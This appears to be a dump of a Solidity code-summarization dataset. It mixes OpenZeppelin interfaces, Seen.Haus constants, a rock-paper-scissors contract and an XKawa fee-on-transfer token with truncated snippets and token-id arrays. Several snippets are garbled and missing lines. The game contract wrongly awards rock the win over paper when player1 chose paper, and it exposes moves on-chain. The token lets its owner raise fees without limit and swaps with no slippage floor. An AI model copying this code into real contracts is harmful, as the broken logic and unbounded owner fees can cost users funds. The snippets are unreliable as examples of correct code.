* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title IDiamondCut
*
* @notice Diamond Facet management
*
* Reference Implementation : https://github.com/mudgen/diamond-2-hardhat
* EIP-2535 Diamond Standard : https://eips.ethereum.org/EIPS/eip-2535
*
* The ERC-165 identifier for this interface is: 0x1f931c1c
*
* @author Nick Mudge <[email protected]> (https://twitter.com/mudgen)
*/
interface IDiamondCut {
event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata);
enum FacetCutAction {Add, Replace, Remove}
struct FacetCut {
address facetAddress;
FacetCutAction action;
bytes4[] functionSelectors;
}
/**
* @notice Add/replace/remove any number of functions and
* optionally execute a function with delegatecall
*
* _calldata is executed with delegatecall on _init
*
* @param _diamondCut Contains the facet addresses and function selectors
* @param _init The address of the contract or facet to execute _calldata
* @param _calldata A function call, including function selector and arguments
*/
function diamondCut(
FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
/**
* @title SeenConstants
*
* @notice Constants used by the Seen.Haus contract ecosystem.
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
contract SeenConstants {
// Endpoint will serve dynamic metadata composed of ticket and ticketed item's info
string internal constant ESCROW_TICKET_URI = "https://api.seen.haus/ticket/metadata/";
// Access Control Roles
bytes32 internal constant ADMIN = keccak256("ADMIN"); // Deployer and any other admins as needed
bytes32 internal constant SELLER = keccak256("SELLER"); // Approved sellers amd Seen.Haus reps
bytes32 internal constant MINTER = keccak256("MINTER"); // Approved artists and Seen.Haus reps
bytes32 internal constant ESCROW_AGENT = keccak256("ESCROW_AGENT"); // Seen.Haus Physical Item Escrow Agent
bytes32 internal constant MARKET_HANDLER = keccak256("MARKET_HANDLER"); // Market Handler contracts
bytes32 internal constant UPGRADER = keccak256("UPGRADER"); // Performs contract upgrades
bytes32 internal constant MULTISIG = keccak256("MULTISIG"); // Admin role of MARKET_HANDLER & UPGRADER
}
|
* @notice The maxRoyaltyPercentage getter/
|
function getMaxRoyaltyPercentage()
external
override
view
returns (uint16)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
return mcs.maxRoyaltyPercentage;
}
| 1,280,855 |
[
1,
1986,
943,
54,
13372,
15006,
16397,
7060,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7288,
54,
13372,
15006,
16397,
1435,
203,
565,
3903,
203,
565,
3849,
203,
565,
1476,
203,
565,
1135,
261,
11890,
2313,
13,
203,
565,
288,
203,
3639,
6622,
278,
2933,
5664,
18,
3882,
278,
2933,
3245,
2502,
312,
2143,
273,
6622,
278,
2933,
5664,
18,
27151,
2933,
3245,
5621,
203,
3639,
327,
312,
2143,
18,
1896,
54,
13372,
15006,
16397,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.21 <0.7.0;
contract RockPaperScissors {
// Using enum to have a fixed set of options
enum Options {NOT_PLAYED, ROCK, PAPER, SCISSORS}
// Used to show data about the finished game, it shows the choice of winner-loser and the address of the winner
event Winner(
string loserAnnouncement,
string winnerAnnouncement,
address winner
);
// Used to show when the players join the game
event PlayerJoined(string announcement, address player);
address private player1;
address private player2;
Options player1Choice = Options.NOT_PLAYED;
Options player2Choice = Options.NOT_PLAYED;
// It is needed to have at least to players to start the game
modifier atLeastTwoPlayers() {
require(
player1 != address(0),
"Please join the game before you choose an option"
);
require(
player2 != address(0),
"Can not choose an option before the player 2 joins the game"
);
_;
}
// Prevents players from changing their option during the game
modifier alreadyPlayed() {
if (msg.sender == player1 && player1Choice != Options.NOT_PLAYED) {
revert("You already played");
}
if (msg.sender == player2 && player2Choice != Options.NOT_PLAYED) {
revert("You already played");
}
_;
}
// Prevents players from joinning multiple times
modifier alreadyJoined() {
require(
msg.sender != player1,
"This address already joined as player 1"
);
require(
msg.sender != player2,
"This address already joined as player 2"
);
_;
}
// Function to allow the players to join the game, players will be assigned starting by player 1,
// if it was assigned before then it assigns it to player2.
function joinGame() external alreadyJoined() {
// Prevents more than two players per game
require(
player1 == address(0) || player2 == address(0),
"There is no space for new players"
);
// If the player1 has not been assigned before then assign the sender address to player1
if (player1 == address(0)) {
player1 = msg.sender;
emit PlayerJoined("The player 1 joined the game", player1);
} else {
// If the player2 has not been assigned before then assign the sender address to player2
if (player2 == address(0)) {
player2 = msg.sender;
emit PlayerJoined("The player 2 joined the game", player2);
}
}
}
// Using external since it is cheaper than public and nobody needs to call it internally
// Function to select the players option and the game, and if both players are selected an option then choose a winner
function chooseAnOption(Options _playerChoice)
external
atLeastTwoPlayers()
alreadyPlayed()
{
// Disables this NOT_PLAYED option from the game
require(
_playerChoice != Options.NOT_PLAYED,
"The choice NOT PLAYED is not valid"
);
if (msg.sender == player1) {
player1Choice = _playerChoice;
}
if (msg.sender == player2) {
player2Choice = _playerChoice;
}
if (
player1Choice != Options.NOT_PLAYED &&
player2Choice != Options.NOT_PLAYED
) {
selectWinner();
}
}
// The rock defeats the scissors by breaking it, the scissors that defeats the paper by cutting it
// and the paper defeats the stone by wrapping it, if the option is the same then it is a draw
function selectWinner() internal {
Options winnerChoice;
Options loserChoice;
address winner;
// It is a draw
if (player1Choice == player2Choice) {
winnerChoice = player1Choice;
loserChoice = winnerChoice;
winner = address(0);
}
// The winner is player1
else if (
(player1Choice == Options.ROCK &&
player2Choice == Options.SCISSORS) ||
(player1Choice == Options.SCISSORS &&
player2Choice == Options.PAPER)
) {
winnerChoice = player1Choice;
loserChoice = player2Choice;
winner = player1;
}
// The winner is player2
else {
winnerChoice = player2Choice;
loserChoice = player1Choice;
winner = player2;
}
// Announce the loser and winner
string memory loserAnnouncement =
getAnnouncement(loserChoice, "The loser chose: ");
string memory winnerAnnouncement =
getAnnouncement(winnerChoice, "The winner chose: ");
emit Winner(loserAnnouncement, winnerAnnouncement, winner);
// After the winner was announced, the game is reset
reset();
}
// Creates an announcement message for the players
function getAnnouncement(Options option, string memory message)
internal
pure
returns (string memory announcement)
{
string memory choice = getMyOptionKeyByValue(option);
return string(abi.encodePacked(message, choice));
}
// Convert the enum to string
function getMyOptionKeyByValue(Options option)
internal
pure
returns (string memory selectedOption)
{
if (Options.ROCK == option) return "Rock";
if (Options.SCISSORS == option) return "Scissors";
if (Options.PAPER == option) return "Paper";
if (Options.NOT_PLAYED == option) return "Not played";
}
function reset() internal {
player1Choice = Options.NOT_PLAYED;
player2Choice = Options.NOT_PLAYED;
}
// Using getter instead of public addresses because address modification is not allowed
function getPlayers() external view returns (address, address) {
return (player1, player2);
}
}
|
The rock defeats the scissors by breaking it, the scissors that defeats the paper by cutting it and the paper defeats the stone by wrapping it, if the option is the same then it is a draw It is a draw The winner is player2
|
function selectWinner() internal {
Options winnerChoice;
Options loserChoice;
address winner;
if (player1Choice == player2Choice) {
winnerChoice = player1Choice;
loserChoice = winnerChoice;
winner = address(0);
}
(player1Choice == Options.ROCK &&
player2Choice == Options.SCISSORS) ||
(player1Choice == Options.SCISSORS &&
player2Choice == Options.PAPER)
) {
winnerChoice = player1Choice;
loserChoice = player2Choice;
winner = player1;
}
else {
winnerChoice = player2Choice;
loserChoice = player1Choice;
winner = player2;
}
getAnnouncement(loserChoice, "The loser chose: ");
string memory winnerAnnouncement =
getAnnouncement(winnerChoice, "The winner chose: ");
emit Winner(loserAnnouncement, winnerAnnouncement, winner);
}
| 1,054,111 |
[
1,
1986,
23486,
1652,
73,
2323,
326,
888,
1054,
1383,
635,
24412,
518,
16,
326,
888,
1054,
1383,
716,
1652,
73,
2323,
326,
15181,
635,
6391,
1787,
518,
471,
326,
15181,
1652,
73,
2323,
326,
384,
476,
635,
14702,
518,
16,
309,
326,
1456,
353,
326,
1967,
1508,
518,
353,
279,
3724,
2597,
353,
279,
3724,
1021,
5657,
1224,
353,
7291,
22,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2027,
59,
7872,
1435,
2713,
288,
203,
3639,
5087,
5657,
1224,
10538,
31,
203,
3639,
5087,
437,
550,
10538,
31,
203,
3639,
1758,
5657,
1224,
31,
203,
3639,
309,
261,
14872,
21,
10538,
422,
7291,
22,
10538,
13,
288,
203,
5411,
5657,
1224,
10538,
273,
7291,
21,
10538,
31,
203,
5411,
437,
550,
10538,
273,
5657,
1224,
10538,
31,
203,
5411,
5657,
1224,
273,
1758,
12,
20,
1769,
203,
3639,
289,
203,
5411,
261,
14872,
21,
10538,
422,
5087,
18,
1457,
3507,
597,
203,
7734,
7291,
22,
10538,
422,
5087,
18,
2312,
25689,
14006,
13,
747,
203,
5411,
261,
14872,
21,
10538,
422,
5087,
18,
2312,
25689,
14006,
597,
203,
7734,
7291,
22,
10538,
422,
5087,
18,
52,
2203,
654,
13,
203,
3639,
262,
288,
203,
5411,
5657,
1224,
10538,
273,
7291,
21,
10538,
31,
203,
5411,
437,
550,
10538,
273,
7291,
22,
10538,
31,
203,
5411,
5657,
1224,
273,
7291,
21,
31,
203,
3639,
289,
203,
3639,
469,
288,
203,
5411,
5657,
1224,
10538,
273,
7291,
22,
10538,
31,
203,
5411,
437,
550,
10538,
273,
7291,
21,
10538,
31,
203,
5411,
5657,
1224,
273,
7291,
22,
31,
203,
3639,
289,
203,
5411,
336,
23137,
475,
12,
383,
550,
10538,
16,
315,
1986,
437,
550,
462,
2584,
30,
315,
1769,
203,
3639,
533,
3778,
5657,
1224,
23137,
475,
273,
203,
5411,
336,
23137,
475,
12,
91,
7872,
10538,
16,
315,
1986,
5657,
1224,
462,
2584,
30,
315,
1769,
203,
3639,
3626,
678,
7872,
12,
383,
550,
23137,
475,
16,
5657,
1224,
23137,
2
] |
pragma solidity 0.7.6;
// SPDX-License-Identifier: Unlicensed
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/utils/Context.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import './interface/IUniswapV2Pair.sol';
import './interface/IUniswapV2Factory.sol';
import './interface/IUniswapV2Router.sol';
contract XKawa is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 500000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'xKAWA';
string private _symbol = 'xKAWA';
uint8 private _decimals = 18;
address public devAddress =
address(0x93837577c98E01CFde883c23F64a0f608A70B90F);
uint256 public devFee = 4;
uint256 public _taxFee = 4;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 0;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public limitTransferAmount = true;
uint256 public maxTxAmount = 500000 * 10**18;
uint256 public maxWalletAmount = 2500000 * 10**18;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[devAddress] = true;
excludeFromReward(address(this));
excludeFromReward(devAddress);
excludeFromReward(uniswapV2Pair);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address _owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], 'Account is already excluded');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function updateLimitTransferAmount(bool _limit) external onlyOwner {
limitTransferAmount = _limit;
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setDevFeePercent(uint256 fee) external onlyOwner {
devFee = fee;
}
function setDevAddress(address account) external onlyOwner {
devAddress = account;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
_liquidityFee = liquidityFee;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(
address _owner,
address spender,
uint256 amount
) private {
require(_owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
if (
limitTransferAmount && !isExcludedFromFee(to) && !isExcludedFromFee(from)
) {
uint256 tokenBalance = balanceOf(to);
require(amount <= maxTxAmount, 'Transfer amount exceeds the max amount');
require(
amount.add(tokenBalance) <= maxWalletAmount,
'Wallet amount exceeds the max amount'
);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
contractTokenBalance > 0 &&
!inSwapAndLiquify &&
from != address(uniswapV2Router) &&
to == uniswapV2Pair &&
!isExcludedFromFee(from)
) {
swapAndSendToDev(contractTokenBalance);
}
if (
!inSwapAndLiquify &&
(from == uniswapV2Pair || to == uniswapV2Pair) &&
!isExcludedFromFee(from) &&
!isExcludedFromFee(to)
) {
uint256 devAmount = amount.mul(devFee).div(100);
uint256 remainingAmount = amount.sub(devAmount);
_tokenTransfer(from, address(this), devAmount, false);
_tokenTransfer(from, to, remainingAmount, true);
} else {
_tokenTransfer(from, to, amount, false);
}
}
function swapAndSendToDev(uint256 tokenAmount) private lockTheSwap {
swapTokensForEth(tokenAmount);
uint256 devAmountETH = address(this).balance;
payable(devAddress).call{value: devAmountETH}('');
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
